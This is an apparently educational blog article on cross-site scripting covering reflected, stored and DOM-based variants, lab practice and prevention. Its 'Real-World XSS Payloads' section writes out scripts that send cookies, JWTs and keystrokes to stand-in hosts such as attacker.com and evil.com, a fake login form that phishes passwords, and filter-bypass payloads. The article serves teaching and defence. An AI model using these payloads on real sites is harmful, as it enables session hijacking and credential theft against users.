Cross-Site Scripting (XSS) Explained with Real Examples
What Is Cross-Site Scripting (XSS)?
XSS is a web vulnerability where an attacker injects malicious JavaScript into a web page viewed by other users. When a victim's browser executes the injected script, the attacker can steal cookies, session tokens, credentials, or perform actions as the victim.
XSS has been in the OWASP Top 10 for over a decade. Despite being well-understood, it remains extremely common — even in major applications.
The Three Types of XSS
1. Reflected XSS
The malicious script is part of the current request — typically in a URL parameter. The server reflects the unescaped input back in the HTML response.
# Vulnerable search endpoint
GET /search?q=<script>alert('XSS')</script>
# Server responds with:
<p>Results for: <script>alert('XSS')</script></p>
# Browser executes the script!
Attack scenario: Attacker sends a crafted link via email/social media. Victim clicks it, script executes in their browser context.
2. Stored (Persistent) XSS
The malicious script is saved in the database and displayed to every user who views that content — comments, forum posts, user profiles, etc.
# User submits a comment containing:
<img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">
# Every visitor who views the comments page executes this script
# Their cookies are sent to the attacker's server
Impact: Much more dangerous than reflected XSS because it affects every visitor, not just those who click a link.
3. DOM-Based XSS
The vulnerability exists in client-side JavaScript that processes user input without proper sanitization — the server never sees the payload.
# Vulnerable JavaScript
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
# Attacker crafts URL:
https://example.com/page?name=<img src=x onerror=alert(1)>
# The browser inserts this directly into the DOM
Real-World XSS Payloads
Cookie Stealing
<script>
fetch('https://attacker.com/log?c=' + document.cookie);
</script>
Session Hijacking
<script>
new Image().src = 'https://attacker.com/steal?token=' + localStorage.getItem('jwt');
</script>
Keylogging
<script>
document.addEventListener('keypress', function(e) {
fetch('https://attacker.com/keys?k=' + e.key);
});
</script>
Phishing via XSS
<script>
document.body.innerHTML = '<h1>Session Expired</h1><form action="https://attacker.com/phish"><input name="password" type="password" placeholder="Re-enter password"><button>Login</button></form>';
</script>
Filter Bypass Techniques
# Case variation
<ScRiPt>alert(1)</sCrIpT>
# Event handlers
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
# JavaScript protocol
<a href="javascript:alert(1)">Click me</a>
# Encoded payloads
<img src=x onerror=alert(1)>
Hands-On Practice
Lab Setup
# Run DVWA for XSS practice
docker run -d -p 8080:80 vulnerables/web-dvwa
# Login: admin / password
# Navigate to "XSS (Reflected)" and "XSS (Stored)" modules
# PortSwigger Web Security Academy (free)
# https://portswigger.net/web-security/cross-site-scripting
How to Prevent XSS
1. Output Encoding (Most Important)
# Python (Jinja2 — auto-escapes by default)
<p>{{ user_input }}</p> {# Auto-escaped #}
<p>{{ user_input | e }}</p> {# Explicit escaping #}
# JavaScript — use textContent instead of innerHTML
element.textContent = userInput; // SAFE
element.innerHTML = userInput; // VULNERABLE
2. Content Security Policy (CSP)
# HTTP header that blocks inline scripts
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
# This prevents injected <script> tags from executing
3. Sanitize HTML Input (When Rich Text Is Required)
# Python — use bleach
import bleach
clean_html = bleach.clean(user_input, tags=['p', 'b', 'i', 'a'], attributes={'a': ['href']})
# JavaScript — use DOMPurify
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirtyHTML);
4. HttpOnly and Secure Cookie Flags
# Prevents JavaScript from accessing cookies
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
XSS Prevention Checklist
- ✅ Encode all output before inserting into HTML, JavaScript, URLs, or CSS
- ✅ Use
textContentinstead ofinnerHTMLfor DOM manipulation - ✅ Implement Content Security Policy (CSP) headers
- ✅ Use
HttpOnlyflag on session cookies - ✅ Sanitize rich text input with a whitelist-based library (bleach, DOMPurify)
- ✅ Validate input types — reject unexpected formats
- ✅ Use modern frameworks (React, Angular, Vue) that auto-escape by default
Key Takeaways
- XSS = injecting JavaScript into someone else's browser
- Stored XSS is the most dangerous — it affects every visitor
- Modern frameworks like React auto-escape output, but
dangerouslySetInnerHTMLandv-htmlare still vulnerable - CSP is your second line of defense — it blocks scripts even if XSS exists
- Practice on DVWA and PortSwigger Academy to build real detection skills
Related Articles
SQL Injection from Zero: Understand It, Exploit It, Fix It
Learn SQL injection from scratch — understand the vulnerability, exploit it in a safe lab environment, and write secure code that prevents it forever.
OWASP Top 10 Explained: What Every Developer Should Know
The OWASP Top 10 explained in plain English with real-world examples, code snippets, and practical fixes. Every developer building web applications must know these.
AI Model Poisoning Explained: Train a Tiny Model and Break It
Train a tiny ML model in Python, poison its training data, and watch it break. A hands-on walkthrough of label flipping, backdoor attacks, and defenses.
Stay Ahead in AI Security
Get weekly insights on AI threats, LLM security, and defensive techniques. No spam, unsubscribe anytime.
Join security professionals who read CyberBolt.